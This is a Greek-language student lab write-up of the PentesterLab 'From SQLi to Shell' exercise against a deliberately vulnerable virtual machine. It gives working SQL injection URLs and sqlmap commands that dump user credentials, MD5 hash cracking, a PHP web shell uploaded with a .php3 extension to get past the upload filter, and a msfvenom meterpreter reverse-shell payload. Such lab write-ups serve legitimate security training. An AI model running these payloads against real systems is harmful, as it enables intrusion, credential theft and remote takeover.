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Εισαγωγή: 
Στα πλαίσια της εργασίας, χρησιμοποιήθηκε μια ευπαθής εικόνα συστήματος η οποία ανακτήθηκε 

από την ιστοσελίδα PentesterLab (https://www.pentesterlab.com). 

Σκοπός της άσκησης είναι η αναγνώριση πεδίων τα οποία επιδέχονται SQL Injection και η 

εκμετάλλευση τους για περαιτέρω αλληλεπίδραση με το εκάστοτε σύστημα. 

Το περιβάλλον στο οποίο έγινε η προσομοίωση είναι εικονικό τόσο για το ευπαθές σύστημα όσο 

και για το σύστημα από το οποίο θα εκτελέσουμε την επίθεση, για το οποίο και επιλέχθηκε το 

λειτουργικό σύστημα Kali Linux. 

Για την υλοποίηση του εικονικού περιβάλλοντος χρησιμοποιήθηκε το λογισμικό Oracle Virtual Box 

(https://www.virtualbox.org/).  

Οι εικόνες συστήματος που χρησιμοποιήθηκαν ανακτήθηκαν από τις διευθύνσεις: 

https://www.kali.org/downloads/ και https://www.pentesterlab.com/exercises/from_sqli_to_shell  

Η μέθοδος δικτύωσης που επιλέχθηκε και για τις δύο μηχανές είναι η bridged όπου το Virtual Box 

επικοινωνεί απευθείας με την κάρτα δικτύου παρακάμπτοντας  την δικτυακή στοίβα του host 

υπολογιστή. Αποτέλεσμα του παραπάνω είναι οι IP που λήφθηκαν να είναι μέσω του DHCP server 

και πιο συγκεκριμένα:  

Ευπαθής Εικονική Μηχανή: 192.168.1.7 και  

Εικονική Μηχανή με Kali Linux: 192.168.1.8 

Ανάλυση Επίθεσης: 
Αρχικά εκτελούμε την εντολή nmap –sn 192.168.1.0/24 η οποία σαρώνει το δεδομένο εύρος 

διευθύνσεων με απενεργοποιημένο το port scanning  (επιλογή –sn). Παράλληλα επιβεβαιώνουμε 

την διεύθυνση του δικού μας συστήματος εκτελώντας την εντολή ifconfig. 

https://www.virtualbox.org/
https://www.kali.org/downloads/
https://www.pentesterlab.com/exercises/from_sqli_to_shell


 
 

Παρατηρούμε ότι στο δίκτυο είναι ενεργές 4 διευθύνσεις οι οποίες κατά σειρά είναι το router, ο 

host υπολογιστής, μια άγνωστη συσκευή και το εικονικό μας μηχάνημα με kali.  

Δοκιμάζοντας να επισκεφτούμε την άγνωστη IP μέσω ενός browser, καταλήγουμε στην εξής αρχική 

σελίδα:  

 
 

Μετά απο πλοήγηση στην ιστοσελίδα βλέπουμε ότι ο τρόπος που επιλέγονται οι διάφορες εικόνες 

είναι αλλάζοντας το url ως εξής: 192.168.1.7/cat.php?id=1 αρα θεωρούμε ότι στέλνει GET 

αιτήσεις με το εκάστοτε id εικόνας στην βάση δεδομένων. Για να το επιβεβαιώσουμε προσθέτουμε 

μια ΄ (απόστροφο) στο τέλος του url και παίρνουμε το εξής αποτέλεσμα:  

 

Έπειτα, έχουμε δυο προσεγγίσεις που μπορούμε να ακολουθήσουμε. 

Μπορούμε να επιχειρήσουμε αρχικά να βρούμε των αριθμό των στηλών της βάσης. Για να το 

επιτύχουμε χρησιμοποιούμε το order by σε συνδυασμό με το προηγούμενο query ως εξής: 

192.168.1.7/cat.php?id=1 order by 1. Η εντολή αυτή επιστρέφει αποτέλεσμα για τιμές 



από 1 εώς 4, ενώ για την τιμή 5 επιστρέφει Unknown column ‘5’ in ‘order clause’ και έτσι 

καταλαβαίνουμε ότι η βάση έχει 4 στήλες.  

Στη συνέχεια προσπαθούμε να μάθουμε περισσότερες πληροφορίες για την βάση χρησιμοποιώντας 

union για να εμφανίσουμε και άλλες στήλες ως εξής: 192.168.1.7/cat.php?id=1 union all 

select 1,2,3,4 το οποίο επιστρέφει το παρακάτω αποτέλεσμα. 

 

 

Συμπεραίνουμε ότι πρέπει να χρησιμοποιούμε την 2η στήλη για να μάθουμε περισσότερα οπότε 

αρχικά προσπαθούμε να βρούμε τα ονόματα των πινάκων.  

Εισάγουμε στο url : 192.168.1.7/cat.php?id=1 union all select 1,table_name,3,4 

FROM information_schema.tables και πέρα από τα default tables της MySQL λαμβάνουμε: 

 

Τώρα θα θέλαμε να βρούμε τις στήλες του πίνακα users οπότε εισάγουμε : 

192.168.1.7/cat.php?id=1 union all select 1,column_name,3,4 FROM 

information_schema.columns where table_name = ‘users’. 



  

Προκειμένου να εμφανίσουμε τον συνδυασμό login και password εκτελούμε το εξής: 

192.168.1.7/cat.php?id=1 union all select 1,concat(login,0x3a,password)3,4 

FROM users με το εξής αποτέλεσμα: 

 

 

Η δεύτερη προσέγγιση για να φτάσουμε στο ίδιο σημείο είναι να χρησιμοποιήσουμε κάποιο 

εργαλείο όπως το SqlMap (http://sqlmap.org/) ως εξής: 

Αρχικά πρέπει να βρούμε τις διαθέσιμες βάσεις άρα τρέχουμε:  

sqlmap –u “192.168.1.7/cat.php?id=1” --dbs 

Η οποία ανιχνεύει ότι η μεταβλητή id είναι ευπαθής και επιστρέφει τα ονόματα των βάσεων: 

 

Για να δούμε τα περιεχόμενα της βάσης εκτελούμε: 

sqlmap –u “192.168.1.7/cat.php?id=1”  -D photoblog --dump-all 

Το οποίο και επιστρέφει μεταξύ άλλων: 

http://sqlmap.org/


 

Με δεδομένα τα παραπάνω πρέπει να αναγνωρίσουμε τι είδους είναι το hash και για τον σκοπό 

αυτό εκτελούμε το πρόγραμμα hash-identifier με τα εξής αποτελέσματα: 

 

Εφ’ όσον ξέρουμε ότι έχει γίνει hashing με MD5 εκτελούμε:  

findmyhash MD5 –h 8efe310f9ab3efeae8d410a8e0166eb2 

Με αποτέλεσμα: 

 

Χρησιμοποιούμε τον συνδυασμό admin και P4ssw0rd και βρισκόμαστε στην σελίδα διαχειριστή: 

 



Παρατηρούμε ότι μπορούμε να ανεβάσουμε νέα φωτογραφία και έτσι έχουμε δυο επιλογές.  

Η πρώτη επιλογή είναι να γράψουμε το εξής script: 

<?php system($_GET[“cmd”]); ?>  

Και να προσπαθήσουμε να το ανεβάσουμε: 

 

Προκύπτει το εξής μήνυμα λάθους  

 

Για να το αποφύγουμε μετονομάζουμε το αρχείο με επέκταση .php3 και το ανεβάζουμε επιτυχώς 

 

Πλέον μπορούμε να εκτελέσουμε εντολές ως εξής: 

 



 

Η δεύτερη επιλογή είναι να χρησιμοποιήσουμε τα εργαλεία msfvenom και metasploit προκειμένου 

να δημιουργήσουμε ένα reverse shell. 

Εκτελούμε την εντολή: 

msfvenom –p php/meterpreter/reverse_tcp LHOST=192.168.1.8 LPORT= 5555 –f 

raw > cmd2.php3 

 

Το οποίο δίνει στην έξοδο το αρχείο που επισυνάπτεται ως cmd2.php3 

Αφού ανεβάσουμε το αρχείο , ανοίγομε το metasploit και εκκινούμε την διαδικασία για να 

συνδεθούμε. 

 

Συνεπώς ανοίξαμε επιτυχώς  την σύνδεση και πλέον μπορούμε να εκτελούμε όποια εντολή 

επιλέξουμε στο περιβάλλον του server με δικαιώματα διαχειριστή. 

Επίλογος 
Στη συγκεκριμένη εργασία παρουσιάστηκαν τρόποι που μπορούν να εξάγουν από ένα κακώς 

ρυθμισμένο πεδίο ευαίσθητα δεδομένα από μια βάση, τόσο με αυτόματο τρόπο όσο και 

χειροκίνητα. Παράλληλα, παρουσιάστηκαν δυο τεχνικές περαιτέρω διείσδυσης  οι οποίες θα 

μπορούσαν να δώσουν μόνιμη πρόσβαση σε ένα επιτιθέμενο αλλά και την δυνατότητα 

εκμετάλλευσης και περαιτέρω χρήσης του ευάλωτου αυτού συστήματος.  

 

 

 


